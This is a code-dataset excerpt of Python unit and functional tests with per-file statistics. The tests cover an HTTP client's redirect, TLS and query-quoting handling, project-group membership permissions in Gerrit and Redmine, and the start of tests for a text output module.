Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses)== 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_redirect_differnet_path(): """ Test Client redirect to different path but same server """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] # defaults to redirectable = True beta = clienting.Client(bufsize=131072, hostname=host, port=port, reconnectable=True, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockRedirectPathService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() # response after redirect assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'method': 'GET', 'path': '/redirect', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None, 'redirects': [{'version': (1, 1), 'status': 307, 'reason': 'Temporary Redirect', 'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'http://localhost:6101/redirect?name=fame')]), 'body': bytearray(b''), 'data': None, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None}]} alpha.close() beta.close() def test_client_redirect_different_servers(): """ Test Client redirect from one server to another server """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) gamma = tcp.Server(port = 6103, bufsize=131072) assert gamma.reopen() assert gamma.ha == ('0.0.0.0', 6103) assert gamma.eha == ('127.0.0.1', 6103) host = alpha.eha[0] port = alpha.eha[1] # defaults to redirectable = True beta = clienting.Client(bufsize=131072, hostname=host, port=port, reconnectable=True, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockRedirectingService(alpha) mockRedirectedService(gamma) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': 'localhost', 'port': 6103, 'scheme': 'http', 'method': 'GET', 'path': '/redirect', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None, 'redirects': [{'version': (1, 1), 'status': 307, 'reason': 'Temporary Redirect', 'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'http://localhost:6103/redirect?name=fame')]), 'body': bytearray(b''), 'data': None, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None}]} alpha.close() gamma.close() beta.close() def test_client_redirect_different_servers_tls(): """ Test Client redirect to a different server """ serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert serverKeypath = certdirpath + '/server_key.pem' # local server private key serverCertpath = certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = certdirpath + '/client.pem' # remote client public cert alpha = tcp.ServerTls(host=serverCertCommonName, port = 6101, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath,) assert alpha.reopen() assert alpha.ha == ('127.0.0.1', 6101) assert alpha.eha == ('127.0.0.1', 6101) gamma = tcp.ServerTls(host=serverCertCommonName, port = 6103, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath) assert gamma.reopen() assert gamma.ha == ('127.0.0.1', 6103) assert gamma.eha == ('127.0.0.1', 6103) #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert clientKeypath = certdirpath + '/client_key.pem' # local client private key clientCertpath = certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = certdirpath + '/server.pem' # remote server public cert host = serverCertCommonName port = alpha.eha[1] beta = clienting.Client(bufsize=131072, hostname=host, port=port, reconnectable=True, scheme='https', certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath,) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockRedirectingServiceTls(alpha) mockRedirectedService(gamma) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': 'localhost', 'port': 6103, 'scheme': 'https', 'method': 'GET', 'path': '/redirect', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None, 'redirects': [{'version': (1, 1), 'status': 307, 'reason': 'Temporary Redirect', 'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'https://localhost:6103/redirect?name=fame')]), 'body': bytearray(b''), 'data': None, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None}]} alpha.close() gamma.close() beta.close() def test_multipart_form(): """ Test multipart form for Requester """ host = u'127.0.0.1' port = 6101 method = u'POST' path = u'/echo?name=fame' headers = dict([(u'Accept', u'application/json'), (u'Content-Type', u'multipart/form-data')]) fargs = dict([("text", "This is the life,\nIt is the best.\n"), ("html", "<html><body></body><html>")]) request = clienting.Requester(hostname=host, port=port, method=method, path=path, headers=headers) msgOut = request.rebuild(fargs=fargs) part = (b'Content-Disposition: form-data; name="text"\r\n' b'Content-Type: text/plain; charset=utf-8\r\n\r\n' b'This is the life,\nIt is the best.\n\r\n') assert part in msgOut part = (b'Content-Disposition: form-data; name="html"\r\n' b'Content-Type: text/plain; charset=utf-8\r\n\r\n' b'<html><body></body><html>\r\n') assert part in msgOut assert request.head.startswith((b'POST /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Content-Length: 325\r\n' b'Accept: application/json\r\n' b'Content-Type: multipart/form-data; boundary=')) def test_query_quoting(): """ Test agorithm for parsing and reassembling query """ location = ('https%3A%2F%2Fapi.twitter.com%2F1.1%2Faccount%2Fverify_credentials.json' '?oauth_consumer_key=meWtb1jEOCQciCgqheqiQoU' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=1048104-WpGhCC4Fbj9Bp5PaTTuN0laSqD4vxCb2B7xh62YD' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') path, sep, query = location.partition('?') path = unquote(path) if sep: location = sep.join([path, query]) else: location = path assert location == ('https://api.twitter.com/1.1/account/verify_credentials.json' '?oauth_consumer_key=meWtb1jEOCQciCgqheqiQoU' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=1048104-WpGhCC4Fbj9Bp5PaTTuN0laSqD4vxCb2B7xh62YD' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') splits = urlsplit(location) query = splits.query assert query == ('oauth_consumer_key=meWtb1jEOCQciCgqheqiQoU' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=1048104-WpGhCC4Fbj9Bp5PaTTuN0laSqD4vxCb2B7xh62YD' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') querySplits = query.split('&') assert querySplits == ['oauth_consumer_key=meWtb1jEOCQciCgqheqiQoU', 'oauth_nonce=eb616fe02004000', 'oauth_signature_method=HMAC-SHA1', 'oauth_timestamp=1437580412', 'oauth_token=1048104-WpGhCC4Fbj9Bp5PaTTuN0laSqD4vxCb2B7xh62YD', 'oauth_version=1.0', 'oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D'] qargs = dict() for queryPart in querySplits: # this prevents duplicates even if desired if queryPart: if '=' in queryPart: key, val = queryPart.split('=', 1) val = unquote(val) else: key = queryPart val = True qargs[key] = val assert qargs == {'oauth_consumer_key': u'meWtb1jEOCQciCgqheqiQoU', 'oauth_nonce': u'eb616fe02004000', 'oauth_signature_method': u'HMAC-SHA1', 'oauth_timestamp': u'1437580412', 'oauth_token': u'1048104-WpGhCC4Fbj9Bp5PaTTuN0laSqD4vxCb2B7xh62YD', 'oauth_version': u'1.0', 'oauth_signature': u'KBD3DdNVZBjyOd0fqQ9X17ack='} qargParts = ["{0}={1}".format(key, quote_plus(str(val))) for key, val in qargs.items()] newQuery = '&'.join(qargParts) assert newQuery == ('oauth_consumer_key=meWtb1jEOCQciCgqheqiQoU' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=1048104-WpGhCC4Fbj9Bp5PaTTuN0laSqD4vxCb2B7xh62YD' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') if __name__ == '__main__': test_query_quoting()
41.982289
210
0.442272
9,210
97,189
4.648969
0.04658
0.057991
0.008688
0.013312
0.910503
0.905692
0.897634
0.886727
0.882944
0.867693
0
0.048685
0.424307
97,189
2,314
211
42.000432
0.716573
0.049028
0
0.88051
0
0.019118
0.216034
0.023012
0
0
0
0
0.171535
1
0.011683
false
0
0.005842
0
0.017525
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ebcb6f4078800e65bfaf1441c5109ce8cbd10f7e
20,314
py
Python
tests/functional/test_project_membership.py
earlren1014/RedHat-Software-Factory
dd50eba4e353945886ebceb5dd608179d608b956
[ "Apache-2.0" ]
null
null
null
tests/functional/test_project_membership.py
earlren1014/RedHat-Software-Factory
dd50eba4e353945886ebceb5dd608179d608b956
[ "Apache-2.0" ]
null
null
null
tests/functional/test_project_membership.py
earlren1014/RedHat-Software-Factory
dd50eba4e353945886ebceb5dd608179d608b956
[ "Apache-2.0" ]
null
null
null
#!/bin/env python # # Copyright (C) 2014 eNovance SAS <licensing@enovance.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import config from utils import Base from utils import ManageSfUtils from utils import create_random_str from utils import is_present from pysflib.sfredmine import RedmineUtils from pysflib.sfgerrit import GerritUtils class TestProjectMembership(Base): """ Functional tests that validate adding or deleting users to project groups using managesf. """ @classmethod def setUpClass(cls): cls.msu = ManageSfUtils(config.GATEWAY_URL) @classmethod def tearDownClass(cls): pass def setUp(self): self.projects = [] self.rm = RedmineUtils( config.GATEWAY_URL + "/redmine/", auth_cookie=config.USERS[config.ADMIN_USER]['auth_cookie']) self.gu = GerritUtils( config.GATEWAY_URL, auth_cookie=config.USERS[config.ADMIN_USER]['auth_cookie']) def tearDown(self): for name in self.projects: self.msu.deleteProject(name, config.ADMIN_USER) def create_project(self, name, user, options=None): self.msu.createProject(name, user, options) self.projects.append(name) def test_admin_manage_project_members(self): """ Test admin can add and delete users from all project groups """ pname = 'p/%s' % create_random_str() self.create_project(pname, config.ADMIN_USER) # Gerrit part self.assertTrue(self.gu.project_exists(pname)) self.assertTrue(self.gu.group_exists('%s-ptl' % pname)) self.assertTrue(self.gu.group_exists('%s-core' % pname)) groups = 'ptl-group core-group' # Add user2 to ptl and core groups self.msu.addUsertoProjectGroups(config.ADMIN_USER, pname, config.USER_2, groups) # Test if user2 exists in ptl and core groups self.assertTrue(self.gu.member_in_group(config.USER_2, '%s-ptl' % pname)) self.assertTrue(self.gu.member_in_group(config.USER_2, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): rname = pname.replace('/', '_') self.assertTrue(self.rm.check_user_role(rname, config.USER_2, 'Manager')) self.assertTrue(self.rm.check_user_role(rname, config.USER_2, 'Developer')) # Delete user2 from project groups self.msu.deleteUserFromProjectGroups(config.ADMIN_USER, pname, config.USER_2) # Test if user exists in ptl and core groups self.assertFalse(self.gu.member_in_group(config.USER_2, '%s-ptl' % pname)) self.assertFalse(self.gu.member_in_group(config.USER_2, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): rname = pname.replace('/', '_') self.assertFalse(self.rm.check_user_role(rname, config.USER_2, 'Manager')) self.assertFalse(self.rm.check_user_role(rname, config.USER_2, 'Developer')) def test_ptl_manage_project_members(self): """ Test ptl can add and delete users from all project groups """ # Let user2 create the project, so he will be ptl for this project pname = 'p_%s' % create_random_str() self.create_project(pname, config.USER_2) # Gerrit part self.assertTrue(self.gu.project_exists(pname)) self.assertTrue(self.gu.group_exists('%s-ptl' % pname)) self.assertTrue(self.gu.group_exists('%s-core' % pname)) groups = 'ptl-group core-group' # ptl should be ale to add users to all groups # so user2 should be able to add user3 to ptl and core groups self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # Test if user3 exists in ptl and core groups self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-ptl' % pname)) self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Manager')) self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # ptl should be able to remove users from all groups self.msu.deleteUserFromProjectGroups(config.USER_2, pname, config.USER_3) # user3 shouldn't exist in any group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-ptl' % pname)) self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Manager')) self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Developer')) def test_core_manage_project_members(self): """ Test core can add and delete users to core group """ # let admin create the project pname = 'p_%s' % create_random_str() self.create_project(pname, config.ADMIN_USER) # Gerrit part self.assertTrue(self.gu.project_exists(pname)) self.assertTrue(self.gu.group_exists('%s-ptl' % pname)) self.assertTrue(self.gu.group_exists('%s-core' % pname)) groups = 'core-group' # Add user2 as core user self.msu.addUsertoProjectGroups(config.ADMIN_USER, pname, config.USER_2, groups) # Test if user2 exists in core group self.assertTrue(self.gu.member_in_group(config.USER_2, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_2, 'Developer')) groups = 'core-group' # core should be ale to add users to only core group and not ptl group # so user2 should be able to add user3 to only core group and not # ptl group self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # user3 should exist in core group self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Developer')) groups = 'ptl-group' # core should not be allowed to add users to ptl group # so user2 should not be able to add user3 to ptl group self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # user3 shouldn't exist in ptl group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-ptl' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Manager')) # core should be able to remove users from core group group = 'core-group' self.msu.deleteUserFromProjectGroups(config.USER_2, pname, config.USER_3, group) # user3 shouldn't exist in core group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Developer')) def test_non_member_manage_project_members(self): """ Test non project members can add and delete users to core group """ # Let admin create the project pname = 'p_%s' % create_random_str() self.create_project(pname, config.ADMIN_USER) # Gerrit part self.assertTrue(self.gu.project_exists(pname)) self.assertTrue(self.gu.group_exists('%s-ptl' % pname)) self.assertTrue(self.gu.group_exists('%s-core' % pname)) # non project meber can't add user to core group # user2 can't add user3 to core group groups = 'core-group' self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # user3 shouldn't exist in core group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Developer')) groups = 'ptl-group' # non project meber can't add usr to ptl group # user2 can't add user3 to ptl group self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # user3 shouldn't exist in ptl group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-ptl' % pname)) # Redmine part self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Manager')) # non project meber can't delete usr from any group. # Let admin add user3 to ptl and core groups, # then try to remove user3 from ptl and core groups by # user2 (i.e non member user) groups = 'ptl-group core-group' self.msu.addUsertoProjectGroups(config.ADMIN_USER, pname, config.USER_3, groups) # non-admin user(user2) can't remove users from project groups self.msu.deleteUserFromProjectGroups(config.USER_2, pname, config.USER_3) # user3 should exist in ptl and core group self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-ptl' % pname)) self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-core' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Manager')) self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Developer')) def test_manage_project_members_for_dev_group(self): """ Add and Delete users from dev group by admin, ptl, core, dev and non members """ pname = 'p_%s' % create_random_str() options = {"private": ""} self.create_project(pname, config.ADMIN_USER, options=options) # Gerrit part self.assertTrue(self.gu.project_exists(pname)) self.assertTrue(self.gu.group_exists('%s-ptl' % pname)) self.assertTrue(self.gu.group_exists('%s-core' % pname)) self.assertTrue(self.gu.group_exists('%s-dev' % pname)) self.assertTrue(self.gu.member_in_group(config.ADMIN_USER, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.project_exists(pname)) self.assertTrue(self.rm.check_user_role(pname, config.ADMIN_USER, 'Developer')) # Admin should add user to dev group groups = 'dev-group' self.msu.addUsertoProjectGroups(config.ADMIN_USER, pname, config.USER_3, groups) # Test if user3 exists in dev group self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # admin should be able to remove users from dev group self.msu.deleteUserFromProjectGroups(config.ADMIN_USER, pname, config.USER_3) # user3 shouldn't exist in dev group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # ptl should add user to dev group # let admin add user2 as ptl groups = 'ptl-group' self.msu.addUsertoProjectGroups(config.ADMIN_USER, pname, config.USER_2, groups) groups = 'dev-group' self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # Test if user3 exists in dev group self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # ptl should be able to remove users from dev group self.msu.deleteUserFromProjectGroups(config.USER_2, pname, config.USER_3) # user3 shouldn't exist in dev group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # Remove user2 as ptl self.msu.deleteUserFromProjectGroups(config.ADMIN_USER, pname, config.USER_2) # core should add user to dev group # let admin add user2 as core groups = 'core-group' self.msu.addUsertoProjectGroups(config.ADMIN_USER, pname, config.USER_2, groups) groups = 'dev-group' self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # Test if user3 exists in dev group self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # core should be able to remove users from dev group group = 'dev-group' self.msu.deleteUserFromProjectGroups(config.USER_2, pname, config.USER_3, group) # user3 shouldn't exist in dev group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # Remove user2 as core self.msu.deleteUserFromProjectGroups(config.ADMIN_USER, pname, config.USER_2) # let admin add user2 as developer groups = 'dev-group' self.msu.addUsertoProjectGroups(config.ADMIN_USER, pname, config.USER_2, groups) # dev user should be able to add a new user to dev group groups = 'dev-group' self.msu.addUsertoProjectGroups(config.USER_2, pname, config.USER_3, groups) # Test if user3 exists in dev group self.assertTrue(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertTrue(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # developer should be able to remove users from dev group group = 'dev-group' self.msu.deleteUserFromProjectGroups(config.USER_2, pname, config.USER_3, group) # user3 shouldn't exist in dev group self.assertFalse(self.gu.member_in_group(config.USER_3, '%s-dev' % pname)) # Redmine part if is_present("SFRedmine"): self.assertFalse(self.rm.check_user_role(pname, config.USER_3, 'Developer')) # Remove user2 ifrom dev group self.msu.deleteUserFromProjectGroups(config.ADMIN_USER, pname, config.USER_2)
47.910377
78
0.501969
2,094
20,314
4.725883
0.085482
0.089935
0.061136
0.058205
0.821443
0.797595
0.787894
0.765562
0.753739
0.717765
0
0.011775
0.418874
20,314
423
79
48.023641
0.826514
0.179039
0
0.846429
0
0
0.052925
0
0
0
0
0
0.239286
1
0.035714
false
0.003571
0.025
0
0.064286
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ebd07bcb781954e122e6f9cfde0d5865ac6b0d4e
85
py
Python
torchsketch/data/datasets/tu_berlin/__init__.py
songyzh/torchsketch
42bca1b31ab9699d9b6d77a102b1f46bba82fb33
[ "MIT" ]
182
2020-03-25T01:59:11.000Z
2022-03-29T08:58:47.000Z
torchsketch/data/datasets/tu_berlin/__init__.py
songyzh/torchsketch
42bca1b31ab9699d9b6d77a102b1f46bba82fb33
[ "MIT" ]
5
2020-03-25T13:16:50.000Z
2022-02-19T09:51:39.000Z
torchsketch/data/datasets/tu_berlin/__init__.py
songyzh/torchsketch
42bca1b31ab9699d9b6d77a102b1f46bba82fb33
[ "MIT" ]
17
2020-03-25T12:40:49.000Z
2022-03-28T06:34:40.000Z
from torchsketch.data.datasets.tu_berlin.download_tu_berlin import download_tu_berlin
85
85
0.917647
13
85
5.615385
0.615385
0.328767
0.438356
0
0
0
0
0
0
0
0
0
0.035294
85
1
85
85
0.890244
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
15c28f57a5f1b0090f228689a2392ab6c22ad488
48,172
py
Python
tests/test_user_io.py
S0S-90/geocachingTooly
a6ed356d0187dd517a9436a83bded3752d488db5
[ "MIT" ]
null
null
null
tests/test_user_io.py
S0S-90/geocachingTooly
a6ed356d0187dd517a9436a83bded3752d488db5
[ "MIT" ]
null
null
null
tests/test_user_io.py
S0S-90/geocachingTooly
a6ed356d0187dd517a9436a83bded3752d488db5
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- """tests for user_io.py""" import unittest from unittest import mock import sys from io import StringIO import test_frame import user_io import geocache class TestGeneralOutput(unittest.TestCase): def test_normaltext(self): out = StringIO() sys.stdout = out # capture print output in out user_io.general_output("hello") # fill out output = out.getvalue() # save value of out in output self.assertEqual(output, "hello\n") def test_textwithcapitalsandnumbers(self): out = StringIO() sys.stdout = out # capture print output in out user_io.general_output("hEllo2") # fill out output = out.getvalue() # save value of out in output self.assertEqual(output, "hEllo2\n") def test_umlauts(self): out = StringIO() sys.stdout = out # capture print output in out user_io.general_output("m{}rchen".format("\u00E4")) # fill out output = out.getvalue() # save value of out in output self.assertEqual(output, "m{}rchen\n".format("\u00E4")) def test_replacable_signs(self): out = StringIO() sys.stdout = out # capture print output in out user_io.general_output("hello {}".format("\u263a")) # fill out output = out.getvalue() # save value of out in output self.assertEqual(output, "hello :-)\n") def test_unknown_signs(self): out = StringIO() sys.stdout = out # capture print output in out user_io.general_output("Flag Turkey: {}".format("\u262a")) # fill out output = 